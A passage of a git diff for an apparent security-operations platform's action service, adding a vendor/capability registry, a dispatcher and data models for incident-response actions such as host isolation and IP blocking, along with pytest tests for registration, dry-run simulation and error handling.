vendor_id=request.vendor_id,+ capability=request.capability,+ dry_run=request.dry_run,+ )++ executor = registry.get_executor(request.vendor_id, request.capability)+ if executor is None:+ log.warning("live_action.unknown")+ available = registry.list_vendors_for_capability(request.capability)+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.FAILED,+ capability=request.capability,+ vendor_id=request.vendor_id,+ summary=f"No executor registered for {request.vendor_id}/{request.capability}",+ error="executor_not_found",+ details={"available_vendors_for_capability": available},+ )++ log = log.bind(executor=type(executor).__name__)+ log.info("live_action.dispatch")++ try:+ result = await executor.execute(request)+ except Exception as exc: # noqa: BLE001 — last line of defence+ log.exception("live_action.executor_crashed")+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.FAILED,+ capability=request.capability,+ vendor_id=request.vendor_id,+ summary=f"Executor {type(executor).__name__} raised an exception",+ error=f"{type(exc).__name__}: {exc}",+ )++ # Defence in depth: an executor MAY return a result that doesn't+ # echo the request's vendor/capability/request_id correctly. Patch+ # them so downstream consumers (audit log, UI) can always trust+ # these fields.+ if result.request_id != request.request_id:+ log.warning("live_action.request_id_mismatch", returned=str(result.request_id))+ result = result.model_copy(update={"request_id": request.request_id})+ if result.vendor_id != request.vendor_id:+ result = result.model_copy(update={"vendor_id": request.vendor_id})+ if result.capability != request.capability:+ result = result.model_copy(update={"capability": request.capability})++ log.info(+ "live_action.completed",+ status=result.status.value,+ has_error=bool(result.error),+ )+ return resultdiff --git a/services/actions/app/live_actions/executor.py b/services/actions/app/live_actions/executor.pynew file mode 100644index 000000000..d3f2f358b--- /dev/null+++ b/services/actions/app/live_actions/executor.py@@ -0,0 +1,63 @@+"""+Abstract base class for live-action executors.++A :class:`LiveActionExecutor` is a single ``(vendor_id, capability)``+implementation. Compared to the in-tree :class:`app.executors.base.BaseExecutor`,+it has three deliberate differences:++1. The executor declares its ``vendor_id`` and ``capability`` as class+ attributes so the registry can index it without a second registration+ call. This keeps plugin code one-step:+ ``register_executor(MyExecutor())`` instead of having to repeat the+ key.+2. ``execute()`` accepts a :class:`LiveActionRequest` and returns a+ :class:`LiveActionResult` — both new types decoupled from+ ``ActionType``. Plugin authors don't have to add a member to an enum+ they don't own.+3. Rollback is intentionally omitted from this layer. The classic+ approval/rollback workflow lives in ``services/actions/app/api/router.py``+ and operates on the legacy ``ActionRequest``/``ActionResult`` pair.+ The live-action surface is a pure execution primitive; if a future+ workstream needs reversible live actions we'll add an optional+ ``rollback()`` hook then, rather than forcing every plugin author to+ stub it out today.+"""++from __future__ import annotations++from abc import ABC, abstractmethod++from .models import LiveActionRequest, LiveActionResult+++class LiveActionExecutor(ABC):+ """Single-vendor, single-capability action executor."""++ #: Connector / vendor ID this executor talks to (e.g. ``"crowdstrike"``).+ vendor_id: str = ""++ #: Capability verb this executor implements. Must be a valid value of+ #: :class:`app.connectors_capabilities.Capability` (mirrored from+ #: ``services/connectors``) — the registry validates this on+ #: registration so typos are caught at import time, not at dispatch.+ capability: str = ""++ #: Whether this executor needs vendor credentials to run for real. The+ #: registry surfaces this in the discovery payload so the frontend can+ #: render a "credentials missing — will simulate" badge.+ requires_credentials: bool = True++ #: One-line human-readable description shown in the discovery API.+ description: str = ""++ @abstractmethod+ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ """Run the action. Implementations must honour ``request.dry_run``.++ Implementations MUST NOT raise on expected vendor errors — return+ a :class:`LiveActionResult` with ``status=FAILED`` and a populated+ ``error`` field instead. The dispatcher only catches unexpected+ exceptions (programmer errors, network blow-ups) and converts them+ to a generic FAILED result so the agent loop never crashes on a+ single bad action.+ """diff --git a/services/actions/app/live_actions/models.py b/services/actions/app/live_actions/models.pynew file mode 100644index 000000000..78b5d178b--- /dev/null+++ b/services/actions/app/live_actions/models.py@@ -0,0 +1,149 @@+"""+Data models for the generic ``live_action`` interface.++The live-action layer is the registry-driven counterpart to the original+``EXECUTOR_REGISTRY`` (``services/actions/app/services/executor_registry.py``).+That registry is keyed by the ``ActionType`` enum and only knows about the+in-tree executors that ship with the actions service. It cannot be extended+at runtime, which means every new vendor integration requires a code change+inside the actions service itself.++The live-action layer flips that model on its head:++* Implementations are keyed by ``(vendor_id, capability)`` rather than a+ fixed ``ActionType``. ``vendor_id`` matches the connector ID surfaced by+ ``services/connectors`` (e.g. ``"crowdstrike"``, ``"defender"``,+ ``"okta"``, or any plugin-supplied ID). ``capability`` reuses the existing+ ``Capability`` enum from ``services/connectors/app/connectors/base.py``,+ so the agent's planner does not have to learn a separate vocabulary.+* Multiple implementations can coexist for the same capability — one per+ vendor — and the dispatcher picks the right one based on the request.+* Plugins can register their own implementations at startup via+ :func:`live_actions.registry.register_executor`, including for+ capabilities that no in-tree executor currently supports.++Why we did not just extend ``EXECUTOR_REGISTRY`` directly:+ 1. ``ActionType`` and ``Capability`` are not 1:1 — capabilities like+ ``BLOCK_HASH``, ``REVOKE_TOKEN``, or future plugin-only verbs have no+ corresponding ``ActionType`` member. Extending ``ActionType`` for every+ plugin would make it the integration choke point we are trying to+ escape.+ 2. The classic registry has no notion of *which vendor* implements the+ action. ``IsolateHostExecutor`` itself fans out to CrowdStrike or+ Defender by inspecting ``parameters["vendor"]``. That hides the choice+ from the planner and from audit logs.+ 3. Plugin authors should be able to ship a new ``(vendor_id, capability)``+ pair without reaching into the actions service. Registry-driven dispatch+ is the cleanest way to express that.++Both layers continue to coexist. The classic ``/api/v1/actions`` endpoint+keeps its current behaviour for backwards compatibility; the new+``/api/v1/live-actions`` endpoints (defined in+``app.live_actions.router``) sit alongside it.+"""++from __future__ import annotations++from datetime import UTC, datetime+from enum import Enum+from typing import Any+from uuid import UUID, uuid4++from pydantic import BaseModel, Field+++class LiveActionStatus(str, Enum):+ """Final state of a live-action execution.++ Distinct from :class:`app.models.action.ActionStatus` because the+ live-action layer does not (yet) own approval/rollback orchestration —+ it is a pure execution surface. The fewer states we expose here, the+ clearer the contract for plugin authors.+ """++ SUCCEEDED = "succeeded"+ FAILED = "failed"+ SIMULATED = "simulated" # No credentials → safe simulation path.+++class LiveActionRequest(BaseModel):+ """Request payload accepted by a :class:`LiveActionExecutor`.++ ``capability`` and ``vendor_id`` are stored as strings rather than the+ ``Capability`` enum so the wire format is stable even if the enum+ grows new members in older deployments. The dispatcher validates them+ against the registry on the way in.++ ``params`` is intentionally an open-ended dict — different vendors need+ different shapes (CrowdStrike's RTR script vs Okta's user lookup) and+ forcing a single typed schema across all of them would either exclude+ real integrations or require a discriminated union we'd have to extend+ every time we add a connector.++ ``dry_run`` is a first-class request field rather than a query param+ because the agent planner emits it as part of the action plan; we want+ the same payload shape whether the executor was invoked from REST,+ from the agent runner, or from a unit test.+ """++ request_id: UUID = Field(default_factory=uuid4)+ capability: str+ vendor_id: str+ target: str = ""+ params: dict[str, Any] = Field(default_factory=dict)+ dry_run: bool = False++ # Provenance — these are filled in by the API layer / agent runner so+ # the executor's structured logs can be correlated back to the case or+ # playbook that triggered it. They are optional because plugin authors+ # invoking executors directly (e.g. from tests) shouldn't have to mint+ # synthetic UUIDs.+ case_id: UUID | None = None+ playbook_run_id: UUID | None = None+ tenant_id: UUID | None = None+ requested_by: str = "system"+++class LiveActionResult(BaseModel):+ """Result returned by a :class:`LiveActionExecutor`.++ ``summary`` is a one-line human-readable string that the case timeline+ renders verbatim — keep it short and concrete (e.g.+ ``"Isolated host srv-12 on CrowdStrike (rtr_session=abc123)"``), not+ a paragraph.++ ``details`` carries the structured payload the vendor returned, so+ downstream consumers (agent reflection, post-mortems) can dig in+ without a second round-trip.++ ``error`` is set when ``status == FAILED``; we keep ``status`` as the+ source of truth and let consumers special-case ``error is not None``+ only when they want a stack-trace-style display.+ """++ request_id: UUID+ status: LiveActionStatus+ capability: str+ vendor_id: str+ summary: str+ details: dict[str, Any] = Field(default_factory=dict)+ error: str | None = None+ completed_at: datetime = Field(default_factory=lambda: datetime.now(UTC))+++class LiveActionDescriptor(BaseModel):+ """Discovery payload returned by ``GET /api/v1/live-actions``.++ Lets the agent planner (and the frontend "test action" UI) enumerate+ the available ``(vendor_id, capability)`` pairs without having to+ introspect Python class hierarchies. ``source`` distinguishes+ ``"builtin"`` adapters (which wrap the in-tree executors) from+ ``"plugin"`` registrations so operators can audit which integrations+ a deployment is actually using.+ """++ vendor_id: str+ capability: str+ description: str+ source: str # "builtin" | "plugin"+ requires_credentials: bool = Truediff --git a/services/actions/app/live_actions/registry.py b/services/actions/app/live_actions/registry.pynew file mode 100644index 000000000..a70f1bad0--- /dev/null+++ b/services/actions/app/live_actions/registry.py@@ -0,0 +1,147 @@+"""+Registry for :class:`LiveActionExecutor` implementations.++The registry is a simple dict keyed by ``(vendor_id, capability)`` plus+provenance metadata so the discovery endpoint can distinguish builtin+adapters from plugin registrations.++Why a module-level singleton instead of FastAPI dependency injection:+ Plugin code runs at import time (when the plugin's ``setup()`` hook+ fires), which is well before the first request. A module-level+ registry is the natural shape for that lifecycle. We expose+ ``reset_for_tests()`` so unit tests can guarantee isolation.++Thread-safety: registration happens at startup from a single thread.+Read paths (``get``, ``list_descriptors``) are safe to call concurrently+from FastAPI workers because dict reads are atomic in CPython and we+never mutate the registry on the request path.+"""++from __future__ import annotations++import structlog++from .capabilities import KNOWN_CAPABILITIES+from .executor import LiveActionExecutor+from .models import LiveActionDescriptor++logger = structlog.get_logger(__name__)++# (vendor_id, capability) -> (executor, source)+_REGISTRY: dict[tuple[str, str], tuple[LiveActionExecutor, str]] = {}+++def register_executor(+ executor: LiveActionExecutor,+ *,+ source: str = "plugin",+ overwrite: bool = False,+) -> None:+ """Register a live-action executor.++ ``source`` is ``"builtin"`` for adapters shipped with the actions+ service and ``"plugin"`` for everything else. The default is+ ``"plugin"`` because that is the path plugin authors will hit.++ ``overwrite=False`` is the safe default: registering two executors+ for the same ``(vendor_id, capability)`` is almost always a bug+ (e.g. two plugins fighting for the same key). Tests and adapters+ that *intentionally* replace a binding can pass ``overwrite=True``.+ """+ if not executor.vendor_id or not executor.capability:+ raise ValueError(+ "LiveActionExecutor must declare vendor_id and capability "+ f"(got vendor_id={executor.vendor_id!r}, "+ f"capability={executor.capability!r})"+ )++ # Soft validation against the known capability vocabulary. We log a+ # warning rather than raising so plugin authors can experiment with+ # new verbs without first patching the core service. The warning+ # surfaces drift in production logs so we can decide whether to+ # promote a new verb into the canonical set.+ if executor.capability not in KNOWN_CAPABILITIES:+ logger.warning(+ "live_action.capability_unknown",+ vendor_id=executor.vendor_id,+ capability=executor.capability,+ hint=(+ "Capability is not in the canonical set defined in "+ "services/connectors/app/connectors/base.py::Capability. "+ "Add it there (and to capabilities.py mirror) if it should "+ "be promoted, or ignore this if it is a plugin-private verb."+ ),+ )++ key = (executor.vendor_id, executor.capability)+ if key in _REGISTRY and not overwrite:+ existing, existing_source = _REGISTRY[key]+ raise ValueError(+ f"Live action {executor.vendor_id}/{executor.capability} is "+ f"already registered (source={existing_source}, "+ f"class={type(existing).__name__}). Pass overwrite=True to "+ "replace it intentionally."+ )++ _REGISTRY[key] = (executor, source)+ logger.info(+ "live_action.registered",+ vendor_id=executor.vendor_id,+ capability=executor.capability,+ source=source,+ executor=type(executor).__name__,+ )+++def unregister_executor(vendor_id: str, capability: str) -> bool:+ """Remove an executor registration. Returns True if something was removed.++ Used by the plugin shutdown path so unloading a plugin doesn't leave+ dangling executors behind. Tests also use this for targeted cleanup.+ """+ return _REGISTRY.pop((vendor_id, capability), None) is not None+++def get_executor(vendor_id: str, capability: str) -> LiveActionExecutor | None:+ """Look up an executor. Returns ``None`` if no implementation is registered."""+ entry = _REGISTRY.get((vendor_id, capability))+ return entry[0] if entry else None+++def list_descriptors() -> list[LiveActionDescriptor]:+ """Return one descriptor per registered executor for the discovery API.++ The list is sorted ``(vendor_id, capability)`` so the output is stable+ across processes — useful for diffing the discovery JSON in CI.+ """+ descriptors: list[LiveActionDescriptor] = []+ for (vendor_id, capability), (executor, source) in sorted(_REGISTRY.items()):+ descriptors.append(+ LiveActionDescriptor(+ vendor_id=vendor_id,+ capability=capability,+ description=executor.description or "",+ source=source,+ requires_credentials=executor.requires_credentials,+ )+ )+ return descriptors+++def list_capabilities_for_vendor(vendor_id: str) -> list[str]:+ """Return all capabilities registered for ``vendor_id`` (sorted)."""+ return sorted(cap for (vid, cap) in _REGISTRY.keys() if vid == vendor_id)+++def list_vendors_for_capability(capability: str) -> list[str]:+ """Return all vendor IDs that implement ``capability`` (sorted).++ Useful for the agent planner: "I want to isolate a host — which+ vendors can do that right now?".+ """+ return sorted(vid for (vid, cap) in _REGISTRY.keys() if cap == capability)+++def reset_for_tests() -> None:+ """Wipe the registry. Test-only — NEVER call from production code."""+ _REGISTRY.clear()diff --git a/services/actions/app/main.py b/services/actions/app/main.pyindex 78a35f3ec..77aaa64b3 100644--- a/services/actions/app/main.py+++ b/services/actions/app/main.py@@ -1,16 +1,59 @@+"""+AiSOC Action Execution Service entry point.++Wires the legacy ``ActionType``-keyed router and the new ``(vendor_id,+capability)``-keyed live-actions router under ``/api/v1``. The two+layers coexist by design: the legacy router still backs the established+human-in-the-loop UI (approvals, blast-radius gates, ChatOps callbacks),+while the live-actions router exposes the generic interface that the+agent loop and plugin SDK consume.++Builtin executor adapters are registered at import time via FastAPI's+startup hook so they're available before the first request lands. We+use the startup hook (rather than module-level execution) so that test+fixtures can reset the registry between tests with+``app.live_actions.reset_for_tests()`` and re-trigger registration+without restarting the process.+"""++from __future__ import annotations++import structlogfrom fastapi import FastAPI-from app.api.router import router+from app.api.live_actions_router import router as live_actions_router+from app.api.router import router as legacy_router+from app.live_actions import register_builtin_executors++logger = structlog.get_logger(__name__)app = FastAPI(title="AiSOC Action Execution Service",- description="Blast-radius gated response action execution with human-in-the-loop approvals",- version="0.1.0",+ description=(+ "Blast-radius gated response action execution with human-in-the-loop "+ "approvals (legacy router) and the generic (vendor_id, capability) "+ "live-actions interface used by the agent loop and plugin SDK."+ ),+ version="0.2.0",)-app.include_router(router, prefix="/api/v1")+app.include_router(legacy_router, prefix="/api/v1")+app.include_router(live_actions_router, prefix="/api/v1")++[email protected]_event("startup")+async def _register_builtin_live_actions() -> None:+ """Register in-tree adapters with the live-action registry on boot.++ ``overwrite=True`` so a hot-reload (uvicorn --reload) doesn't crash+ on duplicate-registration errors. The registry's normal default of+ ``overwrite=False`` still protects plugins from clobbering each+ other.+ """+ count = register_builtin_executors(overwrite=True)+ logger.info("live_actions.bootstrap_complete", builtin_count=count)@app.get("/health")-async def health():+async def health() -> dict[str, str]:return {"status": "healthy", "service": "aisoc-actions"}diff --git a/services/actions/tests/test_live_action_builtins.py b/services/actions/tests/test_live_action_builtins.pynew file mode 100644index 000000000..67bd781b8--- /dev/null+++ b/services/actions/tests/test_live_action_builtins.py@@ -0,0 +1,258 @@+"""+Tests for the builtin adapter layer (Stage 2 #8).++These tests verify two things that matter for plugin authors and for+the agent loop:++1. **Builtin registration is complete and stable.** ``register_builtin_executors``+ produces the canonical set of (vendor_id, capability) pairs that the+ agent can plan against today. Drift here means the planner gets stale.++2. **The legacy adapter shim correctly translates calls.** The legacy+ executors fall back to a "Simulation mode" branch when credentials+ are absent. The adapter layer must surface that as+ ``LiveActionStatus.SIMULATED`` (not SUCCEEDED) so the UI can show+ the correct badge and the audit log marks the action as not having+ touched the real vendor.++We intentionally exercise the live adapters end-to-end — no mocks for+the legacy ``BaseExecutor``. The legacy executors are deterministic in+simulation mode (they don't make network calls), so this is fast and+catches contract drift between the two layers.+"""++from __future__ import annotations++import asyncio++import pytest+from app.live_actions import (+ LiveActionRequest,+ LiveActionStatus,+ dispatch,+ list_descriptors,+ register_builtin_executors,+ reset_for_tests,+)++[email protected](autouse=True)+def _clean_registry():+ reset_for_tests()+ yield+ reset_for_tests()+++def test_register_builtin_executors_returns_full_count() -> None:+ """The registered count is the contract surface for the startup log.++ If a maintainer adds or removes an adapter from ``_BUILTIN_ADAPTERS``,+ this assertion forces them to update the expectation here too — a+ cheap reminder to update docs / discovery snapshots.+ """+ count = register_builtin_executors()+ assert count == 19+++def test_builtin_executors_cover_canonical_vendor_capability_pairs() -> None:+ """The canonical pairs the agent plans against today.++ This is the discovery surface the UI shows on first load and what+ the planner narrows from. Encoding it explicitly prevents silent+ regressions (e.g. accidentally dropping ``okta/disable_user``).+ """+ register_builtin_executors()+ descriptors = list_descriptors()+ pairs = {(d.vendor_id, d.capability) for d in descriptors}++ expected = {+ # Endpoint+ ("crowdstrike", "isolate_host"),+ ("defender", "isolate_host"),+ ("crowdstrike", "quarantine_file"),+ ("crowdstrike", "kill_process"),+ ("crowdstrike", "run_script"),+ ("defender", "run_av_scan"),+ # Identity+ ("okta", "disable_user"),+ ("okta", "reset_password"),+ ("okta", "suspend_session"),+ ("okta", "force_mfa"),+ # Network+ ("aws_security_groups", "block_ip"),+ ("aws_security_groups", "allow_ip"),+ ("generic", "block_domain"),+ # SIEM+ ("splunk", "search_siem"),+ ("elastic", "search_siem"),+ ("splunk", "create_notable_event"),+ ("splunk", "sync_detection_rule"),+ ("elastic", "update_watcher"),+ ("defender", "block_ioc"),+ }+ assert pairs == expected+++def test_builtin_descriptors_marked_as_builtin_source() -> None:+ """Source metadata distinguishes adapters from plugin-registered executors."""+ register_builtin_executors()+ descriptors = list_descriptors()+ sources = {d.source for d in descriptors}+ assert sources == {"builtin"}+++def test_builtin_descriptor_has_human_description() -> None:+ """Descriptions feed the agent's tool catalogue and the UI tooltips."""+ register_builtin_executors()+ descriptors = list_descriptors()+ for descriptor in descriptors:+ assert descriptor.description, f"Adapter {descriptor.vendor_id}/{descriptor.capability} has no description"+++def test_register_builtin_executors_is_idempotent_with_overwrite() -> None:+ """Calling twice with ``overwrite=True`` should not raise.++ Tests that share the registry (autouse fixture) rely on this being+ safe so they can call ``register_builtin_executors(overwrite=True)``+ in setup without first asserting clean state.+ """+ register_builtin_executors()+ # Second call without overwrite would raise — confirm overwrite works.+ count = register_builtin_executors(overwrite=True)+ assert count == 19+++def test_register_builtin_twice_without_overwrite_raises() -> None:+ """Without overwrite, double-registration is a hard error.++ This protects against two callers (e.g. a misbehaving plugin's+ ``setup()`` plus the bootstrap hook) both registering ``crowdstrike/+ isolate_host`` and silently shadowing each other.+ """+ register_builtin_executors()+ with pytest.raises(ValueError, match="already registered"):+ register_builtin_executors(overwrite=False)+++def test_builtin_dispatch_without_credentials_returns_simulated() -> None:+ """The simulation branch in the legacy executor must surface as SIMULATED.++ No credentials in ``params`` means the legacy executor falls into+ its simulation branch and emits ``note="Simulation mode..."``. The+ adapter detects that note and translates the status. Without this+ contract the UI would show "succeeded" for a call that never left+ the process — which would be misleading and dangerous.+ """+ register_builtin_executors()+ request = LiveActionRequest(+ capability="isolate_host",+ vendor_id="crowdstrike",+ target="host-77",+ # No cs_client_id / cs_client_secret => simulation branch.+ )+ result = asyncio.run(dispatch(request))++ assert result.status == LiveActionStatus.SIMULATED+ assert result.vendor_id == "crowdstrike"+ assert result.capability == "isolate_host"+ # The summary should reflect the simulated nature so the audit log+ # is unambiguous when humans review it.+ assert "imulat" in result.summary.lower()+++def test_builtin_dispatch_with_dry_run_strips_credentials_and_simulates() -> None:+ """``dry_run=True`` must force simulation even when credentials are present.++ The ``_LegacyExecutorAdapter.execute`` strips credential keys+ before calling the legacy executor when dry_run is set. This+ guarantees a "Preview" button can never accidentally fire a live+ action just because credentials happened to be in scope.+ """+ register_builtin_executors()+ request = LiveActionRequest(+ capability="isolate_host",+ vendor_id="crowdstrike",+ target="host-77",+ params={+ "cs_client_id": "fake-id",+ "cs_client_secret": "fake-secret",+ "cs_base_url": "https://api.crowdstrike.com",+ },+ dry_run=True,+ )+ result = asyncio.run(dispatch(request))++ # Credentials were stripped before reaching the legacy executor, so+ # it falls into the simulation branch and the adapter detects that+ # via the ``note`` field.+ assert result.status == LiveActionStatus.SIMULATED+++def test_builtin_dispatch_for_block_domain_simulates_without_credentials() -> None:+ """``generic/block_domain`` declares ``requires_credentials=False`` but+ its legacy executor still uses the simulation branch (DNS-block is+ a placeholder pending Route53/Umbrella integration). Verify that+ contract holds end-to-end so docs and discovery don't lie.+ """+ register_builtin_executors()+ request = LiveActionRequest(+ capability="block_domain",+ vendor_id="generic",+ target="evil.example.com",+ )+ result = asyncio.run(dispatch(request))+ # Legacy ``BlockDomainExecutor`` emits ``Simulation mode`` notes+ # because there's no real DNS-block integration yet.+ assert result.status == LiveActionStatus.SIMULATED+ assert result.vendor_id == "generic"+++def test_plugin_registered_executor_appears_in_descriptors() -> None:+ """Plugin-registered executors show ``source="plugin"`` in discovery.++ This is the contract the marketplace UI relies on: builtins get a+ "shipped with AiSOC" badge, plugin executors get a "from <plugin>"+ badge. If this assertion ever flips, the badge logic also needs+ auditing.+ """+ from app.live_actions import (+ LiveActionExecutor,+ LiveActionResult,+ register_executor,+ )++ class _MyPluginIsolate(LiveActionExecutor):+ vendor_id = "myplugin"+ capability = "isolate_host"+ description = "Plugin-defined isolate-host."+ requires_credentials = False++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.SUCCEEDED,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary=f"plugin-isolated {request.target}",+ )++ register_builtin_executors()+ register_executor(_MyPluginIsolate(), source="plugin")++ descriptors = list_descriptors()+ plugin_descriptors = [d for d in descriptors if d.source == "plugin"]+ assert len(plugin_descriptors) == 1+ assert plugin_descriptors[0].vendor_id == "myplugin"++ # And a real dispatch should hit the plugin code, not any builtin.+ result = asyncio.run(+ dispatch(+ LiveActionRequest(+ capability="isolate_host",+ vendor_id="myplugin",+ target="host-99",+ )+ )+ )+ assert result.status == LiveActionStatus.SUCCEEDED+ assert "plugin-isolated host-99" in result.summarydiff --git a/services/actions/tests/test_live_action_dispatcher.py b/services/actions/tests/test_live_action_dispatcher.pynew file mode 100644index 000000000..8ebd6cd54--- /dev/null+++ b/services/actions/tests/test_live_action_dispatcher.py@@ -0,0 +1,205 @@+"""+Behavioural tests for :func:`app.live_actions.dispatch`.++The dispatcher is the single place where REST handlers, the agent loop,+and internal callers funnel through. Three properties matter most:++ 1. **Unknown ``(vendor, capability)`` returns a structured FAILED+ result, never an exception.** The agent loop relies on this to+ branch into "try a different vendor" without try/except.+ 2. **Executor exceptions are caught and translated.** A buggy plugin+ must not crash the actions service.+ 3. **The dispatcher *patches* result fields that drift from the+ request.** A misbehaving executor that returns the wrong+ ``request_id`` would otherwise corrupt the audit trail.++Tests use small, hand-rolled stub executors instead of the legacy+adapters so failures point at the dispatcher itself rather than at+some unrelated coupling. We use ``asyncio.run`` to stay consistent+with the rest of the actions test suite (no pytest-asyncio decorator).+"""++from __future__ import annotations++import asyncio+from uuid import uuid4++import pytest+from app.live_actions import (+ LiveActionExecutor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+ dispatch,+ register_executor,+ reset_for_tests,+)++# --- Test doubles ---------------------------------------------------------+++class _OkExecutor(LiveActionExecutor):+ """Returns SUCCEEDED with a deterministic summary."""++ vendor_id = "stubvendor"+ capability = "isolate_host"+ description = "succeeds"+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.SUCCEEDED,+ capability=request.capability,+ vendor_id=request.vendor_id,+ summary=f"isolated {request.target}",+ details={"echo_target": request.target, "dry_run": request.dry_run},+ )+++class _SimulatingExecutor(LiveActionExecutor):+ """Returns SIMULATED when ``dry_run`` is set, else SUCCEEDED.++ Mirrors the contract that real adapters honour: ``dry_run`` MUST+ short-circuit to a simulation path so the dispatcher can be safely+ exposed via the ``/dry-run`` endpoint.+ """++ vendor_id = "simvendor"+ capability = "block_ip"+ description = "simulates when asked"+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ status = LiveActionStatus.SIMULATED if request.dry_run else LiveActionStatus.SUCCEEDED+ return LiveActionResult(+ request_id=request.request_id,+ status=status,+ capability=request.capability,+ vendor_id=request.vendor_id,+ summary=("simulated" if request.dry_run else "blocked") + f" {request.target}",+ )+++class _CrashingExecutor(LiveActionExecutor):+ """Raises an unexpected exception to exercise the dispatcher's safety net."""++ vendor_id = "crashvendor"+ capability = "kill_process"+ description = "always crashes"+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ raise RuntimeError("boom -- vendor SDK threw")+++class _LyingExecutor(LiveActionExecutor):+ """Returns a result with mismatched request_id / vendor / capability.++ Real executors should never do this, but a buggy plugin could. The+ dispatcher patches the fields back so audit logs stay consistent.+ """++ vendor_id = "lyingvendor"+ capability = "disable_user"+ description = "returns wrong identifiers"+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ return LiveActionResult(+ request_id=uuid4(), # NOT request.request_id+ status=LiveActionStatus.SUCCEEDED,+ capability="something_else",+ vendor_id="wrong_vendor",+ summary="ok",+ )+++# --- Fixture --------------------------------------------------------------++[email protected](autouse=True)+def _isolate_registry():+ """Wipe registry before *and* after every test so cross-test state+ can't leak -- important because the registry is a module-level dict.+ """+ reset_for_tests()+ yield+ reset_for_tests()+++# --- Tests ----------------------------------------------------------------+++def test_dispatch_routes_to_registered_executor():+ register_executor(_OkExecutor())+ request = LiveActionRequest(capability="isolate_host", vendor_id="stubvendor", target="srv-12")++ result = asyncio.run(dispatch(request))++ assert result.status == LiveActionStatus.SUCCEEDED+ assert result.summary == "isolated srv-12"+ assert result.details["echo_target"] == "srv-12"+ assert result.request_id == request.request_id+++def test_dispatch_unknown_pair_returns_failed_not_exception():+ """The agent loop relies on a uniform shape for "no executor"."""+ register_executor(_OkExecutor()) # different vendor++ result = asyncio.run(dispatch(LiveActionRequest(capability="isolate_host", vendor_id="missing_vendor")))++ assert result.status == LiveActionStatus.FAILED+ assert result.error == "executor_not_found"+ # Hint payload should help the planner pick an alternative vendor.+ assert "stubvendor" in result.details["available_vendors_for_capability"]+++def test_dispatch_unknown_pair_lists_no_alternatives_when_none_exist():+ result = asyncio.run(dispatch(LiveActionRequest(capability="never_registered_verb", vendor_id="ghost")))++ assert result.status == LiveActionStatus.FAILED+ assert result.details["available_vendors_for_capability"] == []+++def test_dispatch_dry_run_propagates_to_executor():+ register_executor(_SimulatingExecutor())++ result = asyncio.run(+ dispatch(+ LiveActionRequest(+ capability="block_ip",+ vendor_id="simvendor",+ target="1.2.3.4",+ dry_run=True,+ )+ )+ )++ assert result.status == LiveActionStatus.SIMULATED+ assert "simulated" in result.summary+++def test_dispatch_crashing_executor_is_caught():+ """A buggy plugin must not crash the actions service."""+ register_executor(_CrashingExecutor())++ result = asyncio.run(dispatch(LiveActionRequest(capability="kill_process", vendor_id="crashvendor")))++ assert result.status == LiveActionStatus.FAILED+ assert result.error is not None+ assert "RuntimeError" in result.error+ assert "boom" in result.error+++def test_dispatch_patches_mismatched_request_id():+ """Defence in depth: if an executor returns the wrong request_id we+ patch it so the audit trail remains correlatable."""+ register_executor(_LyingExecutor())+ request = LiveActionRequest(capability="disable_user", vendor_id="lyingvendor")++ result = asyncio.run(dispatch(request))++ assert result.request_id == request.request_id+ assert result.vendor_id == request.vendor_id+ assert result.capability == request.capabilitydiff --git a/services/actions/tests/test_live_action_models.py b/services/actions/tests/test_live_action_models.pynew file mode 100644index 000000000..1183e71d9--- /dev/null+++ b/services/actions/tests/test_live_action_models.py@@ -0,0 +1,96 @@+"""+Schema-level tests for live-action models.++These are intentionally narrow — they pin the wire shape of+:class:`LiveActionRequest` / :class:`LiveActionResult` so a casual+field rename in ``models.py`` immediately fails CI rather than+silently breaking the agent loop or any deployed plugin that already+serialises to the old shape.+"""++from __future__ import annotations++from uuid import UUID, uuid4++import pytest+from app.live_actions import (+ LiveActionDescriptor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+)+++def test_request_defaults_are_safe():+ """A bare-minimum request must default to non-destructive values.++ Specifically: ``dry_run`` must default to ``False`` (so the agent+ has to *opt in* to simulation), but ``params`` and ``target`` must+ default to empty so the request is still valid for capabilities+ that don't need a target (e.g. ``pull_alerts``).+ """+ req = LiveActionRequest(capability="isolate_host", vendor_id="crowdstrike")+ assert req.dry_run is False+ assert req.params == {}+ assert req.target == ""+ assert req.requested_by == "system"+ assert isinstance(req.request_id, UUID)+++def test_request_id_is_unique_per_instance():+ """Two requests must not share a request_id by accident.++ The dispatcher uses ``request_id`` as the audit-trail correlation+ key; collisions would silently merge unrelated executions in the+ log.+ """+ a = LiveActionRequest(capability="block_ip", vendor_id="aws_security_groups")+ b = LiveActionRequest(capability="block_ip", vendor_id="aws_security_groups")+ assert a.request_id != b.request_id+++def test_result_carries_request_id_back():+ """The result must echo the request_id verbatim — the dispatcher+ relies on this for log correlation and in fact fixes it up if an+ executor returns the wrong id (see ``dispatcher.py``)."""+ rid = uuid4()+ res = LiveActionResult(+ request_id=rid,+ status=LiveActionStatus.SUCCEEDED,+ capability="isolate_host",+ vendor_id="crowdstrike",+ summary="ok",+ )+ assert res.request_id == rid+++ "status_value",+ ["succeeded", "failed", "simulated"],+)+def test_status_enum_round_trip(status_value: str):+ """The string values must stay stable — the frontend filters and+ the playbook engine match on these exact strings."""+ s = LiveActionStatus(status_value)+ assert s.value == status_value+++def test_descriptor_shape():+ """The discovery API response shape must include vendor_id,+ capability, description, source, requires_credentials. Anything+ less and the frontend can't render the action menu correctly."""+ d = LiveActionDescriptor(+ vendor_id="okta",+ capability="disable_user",+ description="Deactivate an Okta user.",+ source="builtin",+ requires_credentials=True,+ )+ payload = d.model_dump()+ assert set(payload.keys()) == {+ "vendor_id",+ "capability",+ "description",+ "source",+ "requires_credentials",+ }diff --git a/services/actions/tests/test_live_action_registry.py 